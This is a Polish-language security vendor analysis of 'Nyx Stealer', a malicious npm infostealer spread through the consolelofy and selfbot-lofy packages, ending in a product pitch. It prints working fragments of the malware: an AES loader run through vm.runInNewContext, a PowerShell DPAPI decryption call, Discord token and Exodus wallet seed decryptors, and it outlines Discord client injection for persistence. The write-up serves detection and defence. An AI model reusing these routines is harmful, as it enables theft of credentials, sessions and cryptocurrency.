npm Infostealer

Nowe odkrycie npm Infostealer: Nyx ​​Stealer przejmuje sesje Discord

TL; DR

Zespół badawczy ds. bezpieczeństwa Xygeni zidentyfikowano zaawansowaną kampanię npm infostealer dostarczaną za pomocą dwóch złośliwych pakietów: consolelofy oraz selfbot-lofy.

Najnowsza wersja (consolelofy@1.3.0) osadza ładunek zaszyfrowany algorytmem AES o rozmiarze 216 KB, który jest odszyfrowywany w czasie wykonywania i wykonywany za pośrednictwem vm.runInNewContext()Ponieważ złośliwa logika jest w pełni szyfrowana, skanery statyczne opierające się na inspekcji ciągów znaków nie mogą zaobserwować jej zachowania do momentu wykonania.

Po odszyfrowaniu ładunek jest wewnętrznie oznaczony Złodziej Nyks, cele:

  • Tokeny uwierzytelniania Discord
  • Ponad 50 sklepów z danymi uwierzytelniającymi przeglądarki
  • Ponad 90 rozszerzeń portfeli kryptowalutowych
  • Sesje Roblox, Instagram, Spotify, Steam, Telegram i TikTok
  • Trwałość klienta Discord na komputerze stacjonarnym

Zgłoszono i potwierdzono, że wszystkie 20 wersji obu pakietów są złośliwe.

Przegląd techniczny tego npm Infostealer

W przeciwieństwie do tradycyjnego złośliwego oprogramowania instalowanego w czasie instalacji, ta kampania opiera się na Czas model deszyfrowania.

Tam są:

  • Brak złośliwego preinstall or postinstall hooks
  • Brak oczywistych wywołań sieciowych w czasie instalacji
  • Brak logiki gromadzenia danych uwierzytelniających w postaci zwykłego tekstu

Ładunek aktywuje się po zaimportowaniu modułu. Całe złośliwe oprogramowanie jest szyfrowane i materializuje się w pamięci dopiero w czasie wykonywania.

Ta konstrukcja ma na celu uniknięcie wykrycia podczas instalacji pakietu.

Jak działa ten npm Infostealer?

Zanim przeanalizujemy, co kradnie Nyx Stealer, musimy zrozumieć jak to działa.

Złośliwa logika wewnątrz tego npm infostealera podąża za spójnym schematem:

Mały moduł ładujący odszyfrowuje duży zaszyfrowany ładunek i wykonuje go dynamicznie w kontekście maszyny wirtualnej Node.js.

Ten projekt jest celowy. Atakujący nie ukrywa funkcjonalności za samym zaciemnianiem, całkowite usunięcie złośliwego kodu ze statycznej widoczności.

Model realizacji wysokiego poziomu

Ogólnie rzecz biorąc, wrapper wykonuje cztery czynności:

  • Wyprowadza klucz AES z zakodowanego na stałe hasła przy użyciu algorytmu SHA-256
  • Odszyfrowuje duży tekst szyfrowany w formacie szesnastkowym przy użyciu algorytmu AES-256-CBC
  • Wykonuje odszyfrowany kod JavaScript za pomocą vm.runInNewContext()
  • Zapewnia środowisko testowe, które nadal udostępnia zaawansowane prymitywy środowiska wykonawczego

Podsumowanie techniki podstawowej

Składnik Konfiguracja / Wartość
Algorytm AES-256-CBC
Wyprowadzenie klucza SHA-256 (hasło)
Wektor inicjalizacji (IV) 16 bajtów 0x00
Egzekucja vm.runInNewContext(odszyfrowane, piaskownica)

Co istotne, piaskownica przechodzi przez:

  • require
  • process
  • Buffer
  • zegary
  • eksporty modułów

Oznacza to, że odszyfrowany ładunek zachowuje pełną zdolność do:

  • Procesy odradzania
  • Odczytywanie i zapisywanie plików
  • Wykonuj połączenia sieciowe
  • Modyfikuj aplikacje lokalne

To nie jest ograniczona maszyna wirtualna. To maszyna wirtualna używana jako trampolina wykonawcza.

Wzorzec szyfrowania w czasie wykonywania (podstawowy mechanizm wykonywania)

Ładowarka jest mała.
Złośliwe ciało nie jest.

Poniżej przedstawiono wzorzec wykonania znajdujący się wewnątrz pakietu:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Dlaczego Matters to

Odszyfrowany ładunek:

  • Czy nie istnieje w postaci zwykłego tekstu w pakiecie npm
  • Jest niewidoczny dla prostych grep lub skanowanie statycznych ciągów znaków
  • Materializuje się w pamięci tylko w czasie wykonywania
  • Wykonuje się z pełnymi możliwościami środowiska uruchomieniowego Node

Ta kombinacja wykonywania AES + VM jest silnym wskaźnikiem behawioralnym npm infostealer próbujący uniknąć statycznej inspekcji.

Innymi słowy:

Jeśli przeskanujesz drzewo źródłowe pakietów, nie znajdziesz żadnego złodzieja.
Widzisz deszyfrator.

Co się dzieje po odszyfrowaniu

Po wykonaniu Nyx Stealer uruchamia równoległe fale zbierania danych.

Fala 1: Ekstrakcja danych uwierzytelniających przeglądarki

Szkodliwe oprogramowanie:

  • Pobiera środowisko wykonawcze Pythona z NuGet CDN
  • Instaluje biblioteki kryptograficzne
  • Wyodrębnia magazyny danych uwierzytelniających oparte na Chromium
  • Odszyfrowuje sekrety chronione przez DPAPI

Zamiast kompilować powiązania natywne, wykorzystuje program PowerShell do bezpośredniego wywołania funkcji Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

To podejście:

  • Unika artefaktów kompilacji
  • Wykorzystuje natywne interfejsy API kryptograficzne systemu Windows
  • Łączy się z narzędziami administracyjnymi

Chodzi o odszyfrowanie danych uwierzytelniających na poziomie systemu operacyjnego, a nie scrapowanie.

Fala 2: Odszyfrowanie tokena Discord

Złodziej rozpoznaje protokół. Rozumie zaszyfrowany format tokena Discorda.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Przepływ operacyjny:

  • Wyodrębnij klucz główny z Discorda Local State
  • Odszyfruj klucz główny za pomocą DPAPI
  • Odszyfruj bloby tokenów AES-GCM
  • Sprawdź poprawność tokenów w oparciu o API Discord
  • Wzbogać o Nitro, odznaki i informacje rozliczeniowe

To nie jest ogólne zrzucanie danych uwierzytelniających. To przejęcie sesji z uwzględnieniem protokołu.

Fala 3: Celowanie w portfele kryptowalutowe

npm infostealer wylicza:

  • Ponad 90 rozszerzeń portfela przeglądarkowego
  • 27 portfeli na komputery stacjonarne
  • Ścieżki portfela zimnego
  • Pliki nasion Exodus

Przykładowa próba odszyfrowania ziarna:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

W przypadku powodzenia naruszenie bezpieczeństwa portfela jest natychmiastowe i nieodwracalne.

Reprezentuje to wektor monetyzacji o najwyższej wartości w kampanii.

Trwałość poprzez wstrzykiwanie kodu w Discord Desktop

Po zebraniu danych uwierzytelniających Nyx Stealer próbuje zachować trwałość, modyfikując lokalny Discord klient.

Cel:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Sekwencja operacyjna

Złodziej informacji wykonuje następujące kroki:

  • Kończy działanie procesów Discord
  • Lokalizuje zainstalowane warianty Discorda (stabilna, kanaryjska, PTB)
  • Nadpisuje discord_desktop_core/index.js
  • Wstrzykuje logikę webhooka kontrolowaną przez atakującego
  • Restartuje Discorda

Dzięki temu przyszłe sesje Discorda będą automatycznie ujawniać nowe tokeny uwierzytelniające.

Co ważne, ta trwałość nie opiera się na zaplanowanych zadaniach ani modyfikacjach rejestru. Wykorzystuje modyfikacje kodu na poziomie aplikacji, co stanowi bardziej dyskretne podejście.

Nawet jeśli złośliwy pakiet npm zostanie później usunięty, klient Discord nadal będzie zagrożony.

Porównanie techniczne: Legalny Selfbot kontra npm Infostealer

Składnik Legalna biblioteka Nyx npm Infostealer
Szyfrowanie żaden W pełni zaszyfrowany ładunek AES
Maszyna wirtualna w czasie wykonywania Nie wymagane vm.runInNewContext egzekucja
Dostęp do poświadczeń Tylko API Discord Przeglądarka, portfele, DPAPI
Pobieranie zewnętrzne Nie Środowisko wykonawcze Pythona za pośrednictwem NuGet
Uporczywość Nie Wstrzyknięcie klienta Discord
Monetyzacja Automatyzacja botów Odsprzedaż poświadczeń

Sama warstwa szyfrowania odróżnia tę kampanię od typowego forka open-source.

Prawdziwy selfbot Discorda nie ma powodu, aby szyfrować całą swoją bazę kodu, tworzyć PowerShell w celu uzyskania dostępu do DPAPI, pobierać zewnętrzne środowiska uruchomieniowe ani modyfikować wewnętrzne funkcje aplikacji desktopowej. Gdy te możliwości pojawiają się w zależności, która rzekomo automatyzuje interakcje z Discordem, niedopasowanie architektoniczne staje się niemożliwe do zignorowania.

Z punktu widzenia śledztwa, ten npm infostealer pozostawia ślady na wielu warstwach. Jednak najbardziej wiarygodnymi wskaźnikami nie są zakodowane na stałe adresy URL ani konkretne ścieżki do plików, ponieważ mogą się one zmieniać między wersjami. Zamiast tego, trwałe sygnały mają charakter strukturalny.

Na poziomie pakietu najsilniejszym sygnałem ostrzegawczym jest połączenie dużego zaszyfrowanego ładunku i opakowania odszyfrowywania w czasie wykonywania, które jest natychmiast wykonywane za pośrednictwem vm.runInNewContext()Chociaż samo szyfrowanie nie jest z natury złośliwe, to jednak odszyfrowywanie AES i późniejsze dynamiczne uruchamianie maszyny wirtualnej w pakiecie narzędzi Discord jest wysoce nietypowe.

Na poziomie hosta, podejrzane wzorce obejmują nieoczekiwaną aktywność odszyfrowywania DPAPI, generowanie procesów z kontekstu zależności Node.js oraz modyfikację lokalnych plików aplikacji, które nigdy nie powinny być modyfikowane przez biblioteki zewnętrzne. Podobnie, na poziomie sieci, wychodząca komunikacja w stylu webhooka zainicjowana przez zależność programistyczną stanowi kolejną istotną anomalię.

Innymi słowy, powierzchnia detekcji nie jest jedynym wskaźnikiem zagrożenia. To korelacja szyfrowania, wykonania w czasie rzeczywistym, dostępu do danych uwierzytelniających i zachowania trwałości ujawnia zagrożenie.

Wykrywanie i łagodzenie zagrożeń za pomocą Xygeni

npm Infostealer

Ten npm infostealer został zidentyfikowany przez Wczesne ostrzeganie przed złośliwym oprogramowaniem (MEW) firmy Xygeni poprzez warstwową korelację behawioralną, a nie proste dopasowywanie sygnatur.

Zamiast szukać znanych, złośliwych ciągów znaków, MEW ocenia anomalie strukturalne w całym drzewie źródłowym. W tym przypadku wykrycie wynikało z połączenia kilku sygnałów: osadzonej procedury deszyfrowania AES w punkcie wejścia modułu, natychmiastowego wykonania w kontekście maszyny wirtualnej oraz wyraźnej niezgodności między możliwościami a intencją.

Co ważne, żaden z tych sygnałów z osobna nie dowodzi złośliwego zamiaru. Jednak analizowane łącznie, ujawniają próbę ukrycia działania w czasie wykonywania. To wielowarstwowe podejście znacząco redukuje liczbę fałszywych alarmów, jednocześnie identyfikując zagrożenia dla łańcucha dostaw o wysokim stopniu wiarygodności.

Co więcej, ten przypadek ilustruje, dlaczego sama inspekcja w czasie instalacji jest niewystarczająca. Złośliwa logika nie znajduje się w skryptach cyklu życia. Aktywuje się dopiero po załadowaniu modułu i staje się widoczna dopiero po odszyfrowaniu w pamięci. Dlatego skuteczna obrona wymaga analizy uwzględniającej szyfrowanie, rozpoznawania wzorców zachowań i ciągłego monitorowania zależności wykraczającego poza zdarzenia instalacyjne.

Usuwanie rejestru jest reaktywne. Analiza uwzględniająca środowisko wykonawcze ma charakter zapobiegawczy.

Dlaczego ten npm Infostealer jest ważny

Nyx Stealer reprezentuje strukturalną ewolucję złośliwego oprogramowania opartego na npm.

Historycznie rzecz biorąc, wiele złośliwych pakietów opierało się na widocznych skryptach instalacyjnych lub oczywistych punktach końcowych do wykradania danych uwierzytelniających. Natomiast ta kampania szyfruje swój ładunek, odracza wykonanie do czasu wykonania, wykorzystuje legalne interfejsy API systemu operacyjnego i zapewnia trwałość w zaufanych aplikacjach.

W związku z tym atakujący nie musi wykorzystywać samej infrastruktury npm. Atak kończy się sukcesem, ponieważ instalacja zależności implikuje zaufanie. Programiści zakładają, że importowanie biblioteki jest operacją bezpieczną, szczególnie gdy prezentuje się ona jako prawdopodobny fork popularnego narzędzia.

W miarę rozwoju ekosystemów i rozprzestrzeniania się forków, ta niejawna granica zaufania staje się coraz atrakcyjniejszym obszarem ataku. Dlatego obrona przed współczesnymi kradnącymi informacje npm wymaga rozpoznawania wzorców architektonicznych, a nie wyszukiwania statycznych ciągów znaków.

Ostatecznie ta kampania wzmacnia ważną lekcję software supply chain security:najgroźniejsze zagrożenia to nie te, które na pierwszy rzut oka wyglądają złośliwie, lecz te, które wydają się strukturalnie uzasadnione, dopóki środowisko wykonawcze nie ujawni ich prawdziwego zachowania.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz swoje oprogramowanie i dostarczanie

z pakietem produktów Xygeni